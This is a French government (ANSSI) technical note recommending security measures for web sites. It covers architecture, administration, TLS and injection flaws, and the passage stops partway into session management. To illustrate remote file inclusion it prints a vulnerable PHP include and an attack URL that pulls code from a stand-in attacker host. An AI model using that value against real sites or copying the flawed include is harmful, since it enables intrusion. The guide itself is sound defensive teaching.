Liberté • Égalité • Fraternité
RÉPUBLIQUE FRANÇAISE

PREMIER MINISTRE

Secrétariat général
de la défense
et de la sécurité nationale

*Agence nationale de la sécurité
des systèmes d'information*

Paris, le 13 août 2013

N° DAT-NT-009/ANSSI/SDE/NP

Nombre de pages du document
(y compris cette page) : 23

Note technique

Recommandations pour la sécurisation des sites web

Public visé:

Développeur	✓
Administrateur	✓
RSSI	✓
DSI	
Utilisateur	

Informations

Avertissement

Ce document rédigé par l'ANSSI présente les **« Recommandations pour la sécurisation des sites web »**. Il est téléchargeable sur le site www.ssi.gouv.fr. Il constitue une production originale de l'ANSSI. Il est à ce titre placé sous le régime de la « Licence ouverte » publiée par la mission Etalab (`www.etalab.gouv.fr`). Il est par conséquent diffusable sans restriction.

Ces recommandations sont livrées en l'état et adaptées aux menaces au jour de leur publication. Au regard de la diversité des systèmes d'information, l'ANSSI ne peut garantir que ces informations puissent être reprises sans adaptation sur les systèmes d'information cibles. Dans tous les cas, la pertinence de l'implémentation des éléments proposés par l'ANSSI doit être soumise, au préalable, à la validation de l'administrateur du système et/ou des personnes en charge de la sécurité des systèmes d'information.

Personnes ayant contribué à la rédaction de ce document:

Contributeurs	Rédigé par	Approuvé par	Date
BSS, BAS, BAI, FRI, LAM	DAT	SDE	13 août 2013

Évolutions du document :

Version	Date	Nature des modifications
1.0	22 avril 2013	Version initiale
1.1	13 août 2013	Corrections et précisions mineures, notamment sur TLS

Pour toute remarque:

Contact	Adresse	@mél	Téléphone
Bureau Communication de l'ANSSI	51 bd de La Tour-Maubourg 75700 Paris Cedex 07 SP	communication@ssi.gouv.fr	01 71 75 84 04

Table des matières

1 Avant-propos

Les sites web sont par nature des éléments très exposés du système d'information. Leur sécurisation revêt une grande importance, et ce à plusieurs titres.

Les menaces les plus connues pesant sur les sites web sont les défigurations et les dénis de service. Une défiguration est une attaque par laquelle une personne malveillante modifie le site pour remplacer le contenu légitime par un contenu qu'il choisit, par exemple pour relayer un message politique, pour dénigrer le propriétaire du site ou simplement, pour revendiquer son attaque comme preuve d'un savoir-faire. Un déni de service a quant à lui pour objet de rendre le site attaqué indisponible pour ses utilisateurs légitimes. Dans les deux cas, l'impact sur le propriétaire du site est évidemment un déficit d'image et, pour le cas d'un site servant de support à une activité lucrative, un manque à gagner.

Il ne faut toutefois pas négliger les scénarios d'attaques plus insidieux. Il est possible qu'un individu malveillant se serve d'un site web comme une porte d'entrée vers le système d'information de l'hébergeur ou, plus généralement, de l'entité à qui appartient le site. Par ailleurs, un site peut être utilisé comme relai dans une attaque élaborée vers un système tiers ou comme dépôt de contenus illégaux, ces situations étant susceptibles de mettre l'exploitant légitime du site en difficulté. Enfin, une attaque sur un site peut aussi viser à tendre un piège aux clients habituels de ce site, qui sont souvent les employés du propriétaire du site ou de ses partenaires. Ainsi, l'externalisation de l'hébergement d'un site ne permet pas de transférer l'ensemble des risques d'intrusion au système d'information de l'hébergeur. Toutes ces attaques ont en commun de rechercher, contrairement à celles évoquées plus haut, une certaine discrétion et peuvent par conséquent rester insoupçonnées pendant de longues périodes.

La protection contre ces menaces passe à la fois par des mesures préventives et par des mécanismes permettant de détecter les tentatives d'attaques.

2 Prévention

Cette section liste les principales mesures permettant de renforcer les protections d'un site web contre les attaques. Elle n'est aucunement exhaustive mais permet de rappeler les principes classiquement admis comme devant présider à la mise en place d'un site web. Les recommandations doivent bien entendu être adaptées et déclinées en fonction du contexte d'emploi.

2.1 Infrastructure

Une première série de précautions peuvent être prises au niveau du système (matériel et logiciel) hébergeant le service.

2.1.1 Architecture

Défense en profondeur

Le principe général de défense en profondeur s'applique évidemment aussi aux sites web. Il est par conséquent conseillé de mettre en œuvre plusieurs mesures de protection indépendantes face aux menaces envisagées. Il est souvent beaucoup plus facile d'appliquer ce principe si le système à sécuriser est découpé en éléments nettement séparés, aux interactions bien définies et possédant chacun leurs propres mécanismes de sécurité.

Les architectures de type « n-tiers » par exemple se prêtent bien à une telle approche. Pour tirer profit d'une telle architecture en terme de sécurité, il convient évidemment de ne pas concentrer toutes

les mesures de sécurité sur le « tiers » présentation. Au contraire, chaque composant doit assurer sa propre protection.

Le découpage en composants isolés devrait idéalement ne pas être que conceptuel mais se refléter sur l'organisation de l'architecture matérielle et logicielle de la solution d'hébergement. Selon le contexte et les moyens disponibles, on peut par exemple dissocier les différents tiers sur des machines distinctes en filtrant les échanges entre elles par des équipements de filtrage réseau ou plus simplement recourir à un cloisonnement au sein d'une même machine en utilisant des processus distincts ou des solutions de confinement telles que vServer, LXC, etc.

R1	L'architecture matérielle et logicielle du site web et de son infrastructure d'hébergement doit respecter le principe de défense en profondeur.

Un élément qui participe à la défense en profondeur est le filtrage par un pare-feu web (« WAF : Web Application Firewall »). Une telle mesure ne permet en aucun cas de se dispenser de la sécurisation du site mais apporte une barrière de protection supplémentaire.

Plusieurs implantations de pare-feu web existent : certains prennent la forme de composants réseau pris sur étagère (COTS [1]), d'autres sont des éléments logiciels à greffer [2] sur le serveur web ou sur un serveur mandataire inverse (« reverse proxy ») placé devant le site web. La logique peut soit être un modèle de sécurité négatif (liste noire), où seules les requêtes correspondant à une signature d'attaque connue sont rejetées, soit un modèle de sécurité positif (liste blanche), où seules les requêtes correspondant aux fonctionnement légitime de l'application sont acceptées. L'approche positive apporte généralement une meilleure sécurité au prix d'une configuration plus complexe.

Composants logiciels

La plupart des sites web utilisent un grand nombre de composants logiciels : système d'exploitation et serveur web mais aussi système de gestion de contenu et ses greffons, bibliothèques Java ou PHP ou .NET, système de gestion de base de données, modules du serveur web, etc.

De nombreuses attaques sur les sites web aboutissent en exploitant des vulnérabilités dans les composants logiciels tiers et non pas dans le code spécifique au site. Un tel scénario est particulièrement regrettable lorsque le logiciel exploité est présent mais non utilisé : il convient de réduire la surface d'attaque en supprimant par exemple les greffons inutiles des systèmes de gestion de contenu.

R2	Les composants applicatifs employés doivent être limités au strict nécessaire.

R3	Les composants applicatifs employés doivent être recensés et maintenus à jour.

Mécanismes d'administration

Les mécanismes d'administration des sites web sont par nature des éléments sensibles dont l'exposition doit être limitée. Il convient donc de privilégier les protocoles sécurisés tels que SSH (notamment SFTP).

1. Commercial Off The Shelf.
2. On peut par exemple citer, pour les produits open-source, les modules Modsecurity (pour Apache, IIS et Nginx) ou Naxsi (pour Nginx).

Une pratique couramment observée mais qui doit être proscrite est l'alimentation du site web par le protocole FTP. Il faut rappeler que FTP ne protège ni les mots de passe, ni le contenu transmis vis à vis d'une écoute passive du réseau.

Dans le cas particulier d'une administration par une interface web, il faut privilégier le protocole HTTPS qui protège le flux en confidentialité et en intégrité grâce au protocole TLS.

Exemple

Dans le cas d'Apache, on peut aussi n'autoriser l'accès aux « Locations » correspondant à l'administration que dans les virtualhosts où l'on a positionné `SSLEngine` à `on` ; c'est à dire mettre `Order allow,deny` et `Deny from all` dans les éléments `Location` des virtualhosts non TLS.
On peut d'ailleurs définir un virtualhost en HTTPS uniquement à cet effet. Ainsi, même si la partie publique du site peut ordinairement être consultée sans TLS, la partie administration sera sécurisée.
Attention toutefois, si le site n'est pas exclusivement servi en HTTPS, il convient de prendre garde à utiliser un cookie différent et sécurisé pour la gestion des sessions de la partie administration. Sans cela, il existe un risque de vol de session lorsque l'administrateur navigue sur la partie du site en HTTP. Plus de détails sur ce sujet seront donnés en 2.2.2.
En outre, en utilisant la directive `SSLVerifyClient require` on peut forcer l'authentification des clients sur ces « Locations », dès lors que l'on dispose d'une infrastructure de gestion de clés publiques permettant de fournir des certificats aux administrateurs.

R4	L'administration d'un site web doit se faire via des protocoles sécurisés.

Lorsque c'est possible, il est préférable de restreindre l'accès à ces mécanismes aux seuls postes d'administration autorisés. Cette restriction doit idéalement être appliquée par l'utilisation d'un réseau d'administration connecté à une interface dédiée du serveur. Alternativement, il est possible de recourir à un VPN IPsec pour créer virtuellement un réseau d'administration si les conditions d'hébergement ne permettent pas de construire physiquement un tel réseau.

On pourra *a minima* mettre en place un filtrage réseau mais il faut garder à l'esprit que l'adresse IP n'est pas un identifiant fiable : l'usurpation de l'adresse d'un administrateur est un scénario tout à fait crédible. Une telle mesure constituera toutefois un premier rempart contre les attaques génériques.

Cette remarque s'applique également aux interfaces d'administration web. Dans ce cas, il convient de redoubler de vigilance sur le contrôle d'accès et la traçabilité puisque l'un des premiers réflexes d'un attaquant sera de rechercher de telles interfaces. Il peut être opportun d'exiger une authentification mutuelle en utilisant des certificats TLS clients et serveur pour les pages d'administration.

Dans le cas où l'on est contraint de se contenter d'une authentification par mot de passe protégée par TLS, les mots de passe doivent respecter les bonnes pratiques habituelles (voir les recommandations sur le site de l'ANSSI [3]) relatives à la complexité et à la fréquence de modification.

3. www.ssi.gouv.fr/IMG/pdf/NP_MDP_NoteTech.pdf.

Exemple

Ainsi, lorsque le « manager » associé à Tomcat est utilisé, un certain nombre de mesures doivent être mises en oeuvre :

- supprimer les comptes par défaut et gérer les utilisateurs diposant de droits d'administration (fichier `tomcat-users.xml`) en les affectant au groupe « manager » dédié.
- définir un connecteur sécurisé dans le `server.xml`, par exemple (cas avec authentification serveur uniquement) :

```
<Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
    maxthreads="150" scheme="https" secure="true"
    clientAuth="false" sslProtocol="TLS" />
```

- forcer l'utilisation d'un connecteur sécurisé dans la section `security-constraint` du fichier `web.xml` de l'application « manager » :

```
<user-data-constraint>
    <transport-guarantee>CONFIDENTIAL</transport-guarantee>
</user-data-constraint>
```

En complément, l'accès au manager (ou à toute application du même type) peut être filtré en fonction de l'IP source de la requête, avec toutes les limitations associées à ce type de filtrage, en mettant en œuvre la valve `org.apache.catalina.valves.RemoteAddrValve` (à ajouter dans l'élément `Context` de l'application considérée, se rapporter à la documentation de la version de Tomcat utilisée pour plus de détail).

R5	L'accès aux mécanismes d'administration doit être restreint aux seuls postes d'administration autorisés.

R6	Les administrateurs doivent être authentifiés de manière sûre.

Disponibilité

La protection du site en disponibilité est un problème délicat. En effet, pour se protéger contre les attaques les plus élémentaires, le maintien à jour des différents éléments logiciels et une bonne gestion de la complexité des traitements pouvant être déclenchés par les requêtes utilisateurs peuvent suffire. À ceci peut toutefois s'ajouter des mesures de haute disponibilité usuelles, classiquement par la mise en oeuvre d'un système de répartition de charge.

Mais la protection contre les attaques plus élaborées telles que les dénis de service distribués (« DDOS ») nécessite des mécanismes sophistiqués impliquant à la fois l'hébergeur et l'opérateur réseau. Si l'on désire protéger un site donné contre de telles attaques, il est nécessaire de retenir des solutions spécifiques permettant de bénéficier d'une protection au niveau de l'opérateur ou d'un *content delivery network (CDN)*. Certaines sociétés peuvent aussi offrir des prestations dédiées intégrant ces solutions. Plus de détails sur le sujet sont donnés dans le document : http://www.certa.ssi.gouv.fr/site/CERTA-2012-INF-001/index.html.

Parmi les mesures pouvant être mises en œuvre à moindre frais, on peut citer le recours à des outils tels que `fail2ban` pour rejeter automatiquement les requêtes des clients ayant un comportement suspect. Attention toutefois, ce mécanisme est à double tranchant : il peut lui même constituer un levier pour un déni de service si un attaquant parvient à faire passer pour malveillante l'adresse du relai sortant d'une entité regroupant de nombreux clients légitimes.

2.1.2 Configuration

Un certain nombre de points doivent faire l'objet d'une attention particulière lors de la configuration des systèmes d'exploitation et des services hébergeant le site web.

Moindre privilège

R7	Le principe de moindre privilège doit être appliqué à l'ensemble des éléments du système.

Ainsi, il convient d'associer le serveur HTTP à un compte utilisateur non privilégié. En complément, celui-ci peut être confiné au moyen de mécanismes tels que `chroot`, `lxc` ou encore `apparmor` pour les environnements Linux.

Dans la même logique, les mécanismes de filtrage mis en place doivent privilégier un modèle « positif » où l'action par défaut est le rejet et où l'acception des requêtes constitue l'exception.

Exemple

Un exemple classique de problème de sécurité introduit par un paradigme de règles négatives est celui qui existait dans le paramétrage par défaut de certaines versions des branches 4.2 et 4.3 de JBoss. La configuration protégeant la console JMX était de la forme :

```
<security-constraint>
    <web-resource-collection>
        <web-resource-name>HtmlAdaptor</web-resource-name>
        <description>
            An example security config that only allows users with the role
            JBossAdmin to access the HTML JMX console web application
        </description>
        <url-pattern>/*</url-pattern>
        <http-method>GET</http-method>
        <http-method>POST</http-method>
    </web-resource-collection>
    <auth-constraint>
        <role-name>JBossAdmin</role-name>
    </auth-constraint>
</security-constraint>
```

En cherchant à lister explicitement les requêtes interdites, l'auteur de la configuration indique uniquement les méthodes GET et POST. Il était alors possible d'exécuter certaines opérations privilégiées au moyen d'autres commandes HTTP telles que HEAD ou PUT.
Dans le cas d'espèce, il suffit de supprimer les éléments `http-method` pour que la restriction s'applique à toutes les requêtes. L'erreur commise est toutefois compréhensible et doit inviter à redoubler de prudence sur le principe de moindre privilège dans les situations où le comportement par défaut n'est pas l'interdiction.

Il faut en particulier s'assurer que seuls les fichiers nécessaires peuvent être servis aux clients HTTP. Une première précaution en ce sens est de chercher à maintenir hors de l'arborescence web les fichiers ne devant pas être servis, tels que les fichiers d'installation, la documentation, les fichiers de configuration,

etc. En complément, au niveau système, l'utilisateur associé au serveur web ne doit pas avoir de droits en lecture (ni en écriture !) sur les fichiers auxquels il n'a pas de raison d'accéder. On se servira pour cela des ACL POSIX pour les systèmes UNIX ou des DACL Windows. Enfin, pour les cas où il est inévitable que certains fichiers soient dans l'arborescence web et accessibles au serveur, il faudra s'assurer de bien positionner les règles d'accès dans la configuration du serveur.

Exemple

Dans le cas d'Apache, plusieurs mécanismes permettent de configurer les droits d'accès. Il est possible de placer ce paramétrage dans la configuration générale du serveur ou directement dans l'arborescence au moyen de fichiers `.htaccess`.
Lorsque c'est possible dans le contexte d'emploi, il est préférable de retenir la première option et de ne pas utiliser les fichiers `.htaccess`. Dans ce cas, pour éviter qu'un éventuel fichier `.htaccess` malveillant ne soit interprété et permette de contourner la politique mise en place, il est important de positionner l'option `AllowOverride` à `None` dans la configuration d'Apache.

R8	Les fichiers pouvant être servis aux clients doivent être limités au strict nécessaire.

Par ailleurs, pour éviter que des éléments secrets, telles que les clés privées associées aux certificats, ou des éléments sensibles, tels que les fichiers de configuration du serveur, soient consultés ou altérés par des personnes ou des applications qui n'ont pas de raison légitime de le faire, on veillera à restreindre autant que possible les droits d'accès à ces éléments. Il peut notamment être bénéfique de bien cloisonner le rôle des différents exploitants pour confiner les effets de la compromission d'un compte.

Il est en outre conseillé de limiter les droits d'exécution de scripts CGI (ou équivalent) à un répertoire bien identifié.

Exemple

Dans le cas d'Apache, ce répertoire est identifié grâce à la directive `ScriptAlias`. Aucun autre répertoire ne doit avoir l'option `ExecCGI` validée.

Enfin, un autre point important concernant le principe de moindre privilège est la gestion des droits au niveau du système de gestion de bases de données (SGBD). Dans la plupart des cas, les utilisateurs SGBD associés à l'application n'ont aucune raison de disposer des droits permettant d'altérer le schéma de la base de données. Il est recommandé de chercher à affiner au maximum le profil de droits, en accordant les droits `UPDATE`, `DELETE` ou `INSERT` uniquement sur les tables (voire sur les colonnes) où cela s'impose. Ainsi, pour les tables où il existe seulement un besoin d'accès en lecture, on autorisera uniquement les `SELECT`.

Pour aller plus loin, il est possible d'utiliser des comptes utilisateurs SGBD différents selon les composants du site (particulièrement dans le cas d'une architecture complexe où divers éléments sont nettement séparés) ou encore d'utiliser des comptes utilisateurs SGBD différents selon les profils de clients à l'origine de la requête. Par exemple, un site dynamique peut maintenir deux connexions à la base de données sous deux comptes différents et utiliser l'une ou l'autre selon que le client s'est authentifié ou non.

De telles mesures permettent de limiter l'impact d'une compromission partielle, voire d'empêcher certaines attaques (par exemple les XSS stockées, qui seront décrites infra).

R9	Les droits sur la base de données doivent être gérés finement pour mettre en oeuvre le principe de moindre privilège.

Fuites d'informations

Il est prudent de limiter au maximum les informations visibles publiquement qui donnent des indications sur le fonctionnement interne du site. Le niveau de protection d'une telle mesure ne doit pas être surestimé : il est peu probable qu'un attaquant déterminé soit freiné longtemps par les mesures proposées ci-dessous, mais elles peuvent permettre de se mettre à l'abri de certains systèmes d'attaques automatisés.

Parmi les points participant de cette mesure, on peut citer :
- la suppression des balises « meta » dans l'en-tête HTML lorsque celles-ci indiquent le logiciel ayant généré la page ;
- la suppression des éléments visibles sur la page indiquant les outils (CMS, éditeur, etc.) utilisés ;
- la limitation en production des informations de débogage dans les messages d'erreur (en évitant par exemple de fournir la requête SQL qui a généré une erreur) ;
- l'utilisation de pages d'erreurs personnalisées pour ne pas reposer sur les pages par défaut facilement reconnaissables ;
- dans certains cas, l'utilisation de l'erreur 404 générique plutôt que d'une erreur 401, 403, 405, etc. pour éviter de révéler trop d'informations sur le fonctionnement ou le contenu en accès limité du site ;
- la banalisation des en-têtes HTTP qui peuvent fournir des informations de version trop précises sur le serveur ou le système d'exploitation employés ;
- la désactivation du listage des répertoires n'ayant pas explicitement d'index ;
- le rejet, en production, des requêtes HTTP TRACE qui n'ont d'intérêt qu'en phase de débogage.

R10	Limiter les renseignements fournis sur le fonctionnement technique du site web.

Filtrage réseau

Outre le filtrage des accès aux mécanismes d'administration évoqué plus haut, il convient de mettre en place un filtrage réseau grâce au pare-feu local du ou des serveurs, éventuellement complété par un pare-feu externe lorsque les conditions le permettent.

Il est notamment important d'appliquer des règles restrictives aux connexions sortantes. Les connexions légitimement initiées par le serveur sont en principe en nombre très restreint. La plupart du temps, seuls quelques flux correspondant aux services d'infrastructure sont nécessaires (recherche de mises à jour, synchronisation NTP, export de journaux). Les ports et les destinations de ces flux peuvent être imposés explicitement. Certaines applications peuvent nécessiter des flux sortants spécifiques, mais ceux-ci sont généralement en nombre limité et peuvent être listés de manière exhaustive.

Réciproquement, les flux « métiers » entrants n'ont pas de sources connues a priori mais visent systématiquement les ports 80 ou 443. Là encore, les éventuels flux spécifiques à l'application devraient pouvoir être listés de manière exhaustive.

R11	Une matrice des flux précise doit être établie, tant en entrée qu'en sortie, et son respect doit être imposé par un filtrage réseau.

TLS

Le recourt à TLS, c'est à dire l'emploi du protocole HTTPS, est recommandé dès lors que les communications entre le client et le serveur doivent être protégées en confidentialité ou en intégrité. C'est le cas notamment lors de la transmission d'identifiants, de données personnelles, d'informations de paiements, etc.

Les recommandations du Référentiel Général de Sécurité en terme de dimensionnement des algorithmes cryptographiques sont bien évidemment applicables à TLS.

Lorsqu'on recours à TLS, il est prudent de le faire sur l'ensemble du site et non uniquement sur les parties « sensibles ». Dans le cas contraire, il convient en effet d'être particulièrement attentif au risque de vol de session décrit en 2.2.2.

Exemple

Dans le cas d'Apache avec mod_ssl, au moment de la rédaction de ce document, le paramétrage suivant représente un compromis entre la compatibilité avec les versions raisonnablement récentes des navigateurs courants et le recours à des algorithmes présentant un certain niveau de sécurité :

```
SSLCiphersuite ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:\
ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-SHA256:\
DHE-RSA-AES256-SHA:AES256-GCM-SHA384:AES256-SHA256:AES256-SHA
```

Ce paramétrage correspond à l'hypothèse (la plus fréquente) où le serveur dipose d'un certificat RSA. Il est en outre recommandé d'utiliser l'option : `SSLHonorCipherOrder on` pour favoriser les algorithmes les plus sûrs.

Lorsque le parc client est bien délimité (cas d'un intranet), il est possible d'améliorer ce paramétrage en imposant le ou les meilleurs algorithmes pris en charge par les navigateurs employés. Dans ce cas de figure, il est souhaitable de respecter les recommandations du RGS dès lors que le parc de navigateurs le permet. Il est souhaitable notamment d'éviter l'algorithme SHA-1 et de favoriser l'échange de clé ECDHE ou à défaut DHE.

En complément, le mécanisme *HSTS : HTTP Strict Transport Security* permet d'apporter une sécurité supplémentaire. Le principe d'HSTS est d'ajouter aux réponses HTTP une en-tête de la forme : `Strict-Transport-Security: max-age=31536000; includeSubDomains` qui indique au navigateur que les requêtes vers le site concerné doivent systématiquement être faites en HTTPS. On se protège ainsi contre certaines attaques cherchant à faire basculer la connexion en clair, à la double condition que le navigateur soit compatible et que l'attaquant n'ait pas la possibilité d'intervenir sur le premier échange lors de l'établissement de connexion avec le site considéré. Cette double condition assez limitative fait qu'HSTS doit uniquement être considéré comme une mesure de sécurisation supplémentaire à coût pratiquement nul mais pas comme une garantie contre les attaques de l'« homme du milieu ».

2.2 Code applicatif du site

Les mesures évoquées jusqu'alors, qui s'appliquent à l'infrastructure, jouent une part très importante dans la sécurisation d'un site web. Elles ne peuvent cependant en aucun cas être considérées comme

suffisantes et doivent impérativement s'accompagner d'une prise en compte de la sécurité dans la conception du code applicatif du site web.

Avant tout, un principe général doit être mis en oeuvre :

R12	Les traitements doivent tous être faits du côté du serveur. Les entrées en provenance des clients ne doivent pas être considérées comme fiables et par conséquent, aucune vérification ne doit être déléguée aux clients.

Ainsi, pour illustrer ce propos, si le code Javascript exécuté coté client peut faire certains contrôles à des fins d'ergonomie (pour signaler une probable faute de frappe dans un champ par exemple), il ne faut en aucun cas se contenter de ce contrôle. Il faut au contraire partir du postulat que le code client a pu ne pas s'exécuter (javascript désactivé ou requêtes malveillantes).

2.2.1 Gestion des entrées

Les données reçues en entrée de la part des clients doivent, en application du principe ci-dessus, être utilisées avec la plus extrême prudence. Beaucoup de vulnérabilités classiques découlent du non respect de cette approche.

Il faut souligner que cette remarque s'applique à l'ensemble des entrées utilisateurs comme l'illustrent les exemples suivants. Il n'y a aucune raison de considérer que les variables POST ou GET sont protégées contre les manipulations, ni de partir du postulat que les champs cachés des formulaires, ou calculés par un script client au moment de leur soumission, sont plus sûrs que les autres ou encore de fonder une confiance particulière dans les données de l'en-tête HTTP (cookies ou identifiants de session par exemple). Il faut garder à l'esprit que l'attaquant a dans la plupart des cas la maîtrise totale du poste client employé pour l'attaque et peut donc manipuler n'importe quelle partie des requêtes envoyées.

Injections SQL

Une vulnérabilité extrêmement courante consiste en l'utilisation de données en provenance du client dans une requête SQL pour laquelle le serveur n'effectue aucune vérification sur le format de ces données. Un attaquant peut transmettre des données ayant un format tel que la requête générée ait des effets non prévus par le développeur.

L'approche recommandée pour éviter ce type de vulnérabilité consiste à recourir soit à des couches d'abstraction de la base de données qui prennent en charge ce problème, soit à utiliser des requêtes préparées et fortement typées. Tous les langages web couramment employés permettent le recours à de tels mécanismes.

R13	Les requêtes adressées à la base de données doivent être faites au moyen de requêtes préparées fortement typées ou par l'intermédiaire d'une couche d'abstraction assurant le contrôle des paramètres. Dans les (rares) cas où cette approche serait impossible, il convient d'apporter un soin particulier à s'assurer que les données manipulées ne comportent pas de caractères spéciaux (au sens du SGBD) sans échappement et ont bien la forme attendue.

Exemple

En Java par exemple, on pourra avoir recours à la classe `java.sql.PreparedStatement`, c'est à dire qu'on utilisera la méthode `prepareStatement` de la classe `java.sql.Connection`.
En PHP, la méthode `prepare` de l'objet `PDO` permet d'adopter cette approche.
En ASP.NET, on pourra faire appel à la méthode `Prepare` de l'objet `System.Data.SqlClient.SqlCommand`.

Certains sites font reposer leur protection contre ce type d'attaques sur l'utilisation de l'option « magic quotes » de PHP. Cette approche est insatisfaisante à plusieurs titres. Elle part du postulat que toutes les variables transmises seront utilisées dans une requête SQL (ce qui facilite d'autres attaques), elle ne fournit pas une protection de bonne qualité contre les injections les plus sophistiquées et enfin, elle fait dépendre la validation des entrées, qui est une responsabilité du développeur, de la configuration de l'infrastructure sous-jacente. Cette solution est fortement déconseillée.

Une seconde approche consiste à recourir aux fonctions telles que `mysqli_real_escape_string` en PHP pour rechercher et désamorcer dans une chaîne de caractères tous les caractères spéciaux risquant d'être mal interprétés par le système de base de données. Si ce procédé est préférable au précédent, il n'est pas recommandé non plus, notamment parce qu'il induit un couplage fort entre la sécurité du code et la technologie de bases de données et, d'autre part, parce qu'il tend à faire négliger certains cas particuliers, comme les injections SQL sur les variables censées être de type numérique.

XSS

Une autre catégorie d'attaque très répandue, dénommée « Cross Site Scripting », consiste en l'injection de données dans une page web dans le but de provoquer un comportement particulier du navigateur qui interprète cette page. Les données injectées ont donc la forme d'un langage interprété par le navigateur telles que des balises HTML ou du JavaScript.

Il existe de nombreux *scenarii* d'attaques mettant en jeu une attaque XSS. Par exemple, s'il est possible d'injecter du contenu dans une page au travers d'une variable GET [4], un attaquant peut inciter (par exemple au moyen d'un courrier électronique trompeur) une victime à cliquer sur un lien fabriqué de telle sorte à afficher la page vulnérable et y injecter un script malveillant. L'attaquant pourra alors contrôler le navigateur de la victime qui pense pourtant visiter un site de confiance. Il est ainsi en mesure, par exemple, de voler la session de la victime et ainsi d'usurper son identité sur le site.

Un autre cas rencontré fréquemment est celui de XSS stockées. L'attaquant dépose les éléments de l'attaque de manière permanente sur le site, par exemple au moyen d'un système de commentaires, et tous les visiteurs ultérieurs du site sont touchés par le code malveillant.

Pour se protéger contre les vulnérabilités permettant de telles attaques, il est important de s'assurer que toutes les données issues de sources externes qui sont incluses dans la page web soient protégées, c'est à dire aient subi un traitement qui empêche leur interprétation dans le contexte où elles sont employées. En complément, il est important de vérifier chaque fois que c'est possible que les données ont bien la forme attendue, par exemple qu'une donnée censée être numérique ne soit composée que de chiffres.

4. variable transmise directement dans l'URL, sous la forme `http://www.example.org/page?variable=valeur`.

R14	Les données externes employées dans quelque partie que ce soit de la réponse envoyée au client doivent avoir fait l'objet d'un « échappement » adapté au contexte d'interprétation. Il convient en outre de vérifier qu'elles ont effectivement la forme attendue lorsque celle-ci est connue.

Exemple

En PHP, la fonction `htmlspecialchars` permet d'échapper les chaînes de caractères dont le contexte d'interprétation sera le langage (X)HTML. Ce cas, très répandu, correspond notamment aux cas les plus fréquents de données directement affichées sur la page web.
Attention, cette fonction sera complètement inutile pour des chaînes qui seront interprétées dans un autre contexte que le HTML, par exemple dans un code javascript, une feuille de style css, une URL, etc. Dans certains cas, il peut être nécessaire d'appliquer successivement (et dans un ordre réfléchi) plusieurs fonctions d'échappement. L'échappement doit toujours être adapté aux conditions d'interprétation.

Redirections

Il n'est pas rare d'avoir sur les sites web des pages dont l'effet est de générer, de manière immédiate ou différée, la redirection du client vers une URL différente. Par exemple, un comportement courant des sites nécessitant une authentification est le suivant : si un utilisateur non authentifié demande une page P, il est redirigé vers la page d'authentification ; lorsqu'il envoie ses identifiants, l'url visée par le formulaire d'authentification le redirige alors vers P en cas de succès ou à nouveau vers la page d'authentification en cas d'échec. Les différentes redirections se font classiquement au moyen des codes d'erreur HTTP prévus à cet effet (301, 302, 303, 307, etc.) ou par Javascript.

Le problème associé à ce fonctionnement est que dans certains cas, la redirection est contrôlée par une donnée envoyée par le client. Par exemple, la page à laquelle accéder en cas de succès de l'authentification est indiquée dans une variable GET passée au formulaire d'authentification. Dans cette situation, un attaquant peut, de manière similaire à ce qui a été exposé ci-dessus dans le cas des XSS, construire une URL qui semblera viser un site légitime mais redirigera en réalité la victime vers la page de son choix, indépendamment de la logique du site légitime. Cela permet de réaliser des « hammeçonnages » extrêmement efficaces. Des règles de prudence s'imposent alors :

R15	Favoriser les redirections statiques plutôt que d'employer des redirections controlées par des données externes.

R16	Pour les redirections dynamiques, adopter un fonctionnement en liste blanche en vérifiant que les URL visées soient légitimes.

Cette dernière recommandation peut être mise en oeuvre de différentes manières. Si la liste des cibles de redirections est finie et connue a priori, il est possible d'indexer celle-ci par des étiquettes ou des indices numériques et d'utiliser uniquement ces indices pour les désigner. Un attaquant ne pourra pas rediriger le client vers le site de son choix, les redirections se feront nécessairement dans la liste.

Dans le cas contraire, il est nécessaire de vérifier que l'URL visée a la forme attendue, par exemple au moyen d'une expression rationnelle. Il est particulièrement important de s'assurer que le nom de domaine visé fait bien partie de la liste blanche des domaines vers lesquels le site est susceptible de produire une redirection.

Inclusion de fichiers

Une autre maladresse de développement prêtant le flanc à des attaques est l'inclusion dynamique dans le code applicatif d'un fichier dont le chemin d'accès dépend d'une entrée du client. En choisissant certaines valeurs pour cette entrée, un attaquant peut chercher à exploiter ce fonctionnement pour amener l'application à inclure un fichier qu'il maîtrise et qui contient du code malveillant. Ce type d'attaques peut aussi servir à lire et à afficher le contenu de fichiers a priori inaccessibles sur le serveur par traversée de l'arborescence du système de fichiers.

Exemple

Pour illustrer, on peut imaginer un site où le code associé à l'URL `www.example.org/fiche_produit.php?id=article5` comprenne l'instruction php `include( $_GET['id'] . '.php');` pour stocker chaque description de produit dans un fichier séparé. Un attaquant peut alors donner à la variable `id` la valeur `http://pirate.siteperso.com/malware`, après encodage URL, donc :
`http://www.example.org/fiche_produit.php?`
`id=http%31%2F%2Fpirate.siteperso.com%2Fmalware`
Il aura ainsi injecté le fichier `http://pirate.siteperso.com/malware.php` qu'il maîtrise dans le code de l'application.

R17	L'inclusion de fichiers dont le nom ou le chemin d'accès dépend d'une donnée externe ne doit pas être employée.

En effet, la quasi-totalité des recours à cette technique peut être évitée. Dans les rares cas où il serait inévitable de procéder de la sorte, des mesures analogues à celles décrites précédemment au sujet des redirections doivent être mises en oeuvre comme le recours à des index dans une liste blanche ou des contrôles stricts sur la forme de la donnée.

Autres injections

Les différentes attaques par injection ne se limitent pas aux quelques exemples cités ci-dessus, même s'il s'agit des cas les plus fréquents.

R18	Il faut recourir au fonctionnement par liste blanche ou à un traitement rigoureux des données externes à chaque fois qu'elles sont employées.

Ainsi, il faut prendre garde par exemple aux chaînes qui seront employées dans une requête LDAP, dans une expression XPath, dans un document XML, une commande shell, etc.

Il est aussi crucial de manipuler avec la plus grande précaution les fichiers transmis (*upload*) par les clients qui peuvent, par nature, contenir des éléments maveillants ou illégaux.

2.2.2 Logique applicative

Si les points précédents portent essentiellement sur des bonnes pratiques de programmation, il est aussi nécessaire de prendre en compte la sécurité lors de la conception de la logique du site web.

Gestion des sessions

Le mécanisme de sessions permet de conserver des informations côté serveur entre deux requêtes du client. C'est ainsi que l'on peut, par exemple, gérer l'identification des utilisateurs. Une fois l'authentification réalisée, l'identité de l'utilisateur est associée à sa session pour pouvoir lui accorder les privilèges appropriés.

